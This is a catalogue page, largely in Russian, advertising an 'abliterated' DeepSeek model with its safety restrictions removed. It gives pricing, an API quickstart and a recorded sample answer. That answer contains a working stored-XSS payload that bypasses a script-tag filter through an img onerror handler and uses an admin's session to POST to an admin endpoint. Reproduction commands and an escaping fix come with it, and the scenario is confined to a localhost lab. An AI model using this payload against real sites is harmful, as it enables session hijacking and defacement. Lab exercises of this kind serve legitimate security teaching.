Build a working stored-XSS exploit chain in a deliberately vulnerable localhost-only notes app. Give a minimal Node.js server with no dependencies, a malicious saved comment that bypasses a naive script-tag filter using an event handler, and exact reproduction commands. When a simulated admin views the comment, the payload must use that fake admin session to POST to a same-origin /admin/banner endpoint and set the banner to OWNED IN THE LAB. Use only fake cookies and local endpoints: no real credentials, remote targets, or data exfiltration. Include the safe rendering fix. Keep it compact, under 400 words.
DeepSeek V4.1 Flash Abliterated Fast
deepseek-v4.1-flash-abliterated-fastДоступно в браузерном чате и через OpenAI-совместимый API.
Цены токенов
Цены в USD за 1 миллион токенов
- Ввод / 1M
- 1,400 $
- Кеш / 1M
- 0,320 $
- Вывод / 1M
- 1,400 $
Характеристики модели
DeepSeek · с удалёнными ограничениями
- Контекстное окно
- 1 000 000 токены
- Максимальный вывод
- 65 536 токены
- Возможности
- Текст · Потоковая передача · Вызовы инструментов
Измеренная производительность
- Среднее токенов/с
- ≈ 218,4
- Оценка TTFT
- 1,6 s
- Индикатор доступности
- 100%
Обновлено 01.11.2026, 20:37:37 UTC · Успешность провайдера за 24 ч · Прочерк означает, что актуальных измерений недостаточно.
Посмотрите ответ модели
Реальный ответ на вопрос о хранимой XSS для локальной лаборатории. Запрос и ответ на английском. Вывод показан как текст; код здесь не выполняется.
DeepSeek V4.1 Flash Abliterated Fast
Записанный ответ модели · 28 окт. 2026 г., 19:02 UTC
Выбранный фрагмент записанного ответа. Некоторые части опущены.
Reproduce:
node server.js
curl -s -X POST http://localhost:3000/comment \
--data-urlencode "comment=<img src=x onerror=\"fetch('/admin/banner',{method:'POST',headers:{'Content-Type':'application/x-www-form-urlencoded'},body:'banner=OWNED%20IN%20THE%20LAB'})\">"
xdg-open 'http://localhost:3000/admin/view?admin=1' # macOS: open ...
sleep 1
curl -s http://localhost:3000/bannerExpected: OWNED IN THE LAB.
The stored <img onerror=...> survives the naive <script> filter. /admin/view?admin=1 sets the fake admin=1 cookie, renders the comment, and the same-origin fetch POSTs to /admin/banner with that cookie.
Safe fix: always render comments with esc(c); e.g. visit /admin/view?admin=1&safe=1, and the payload appears as text.
Записанный пример, не живой чат.Открыть чат
Используйте модель через API
Создайте API-ключ и пополните баланс. Задайте UNCENSOREDLABS_API_KEY в окружении. Для JavaScript или Python установите пакет openai.
curl --no-buffer https://uncensoredlabs.dev/v1/chat/completions \
-H "Authorization: Bearer $UNCENSOREDLABS_API_KEY" \
-H "Content-Type: application/json" \
-d '{
"model": "deepseek-v4.1-flash-abliterated-fast",
"messages": [{"role": "user", "content": "Hello, world."}],
"max_tokens": 256,
"stream": true
}' Совместимо с OpenAI. Измените базовый URL.Прочитать быстрый старт
Ограничения и оплата
- Отсутствие фильтров не гарантирует ответ на любой запрос. Ответ может быть неверным, неполным, либо модель может отказать.
- Максимум вывода — лимит сервиса UncensoredLabs. Длинные ответы и полное окно контекста не проходили нагрузочные измерения.
- Кредиты резервируются под запрошенный вывод и консервативный лимит ввода; для моделей без проверенного учёта по размеру запроса используется полное окно контекста. Итоговый платёж основан на подтверждённом использовании; неопределённые запросы могут сохранять резерв.
- Лимит времени — десять минут. Действуют ограничения частоты, параллельности и доступность провайдера; ошибки API включают 429 с Retry-After.
- UncensoredLabs не хранит запросы и ответы на своих серверах. Применяется политика хранения провайдера инференса.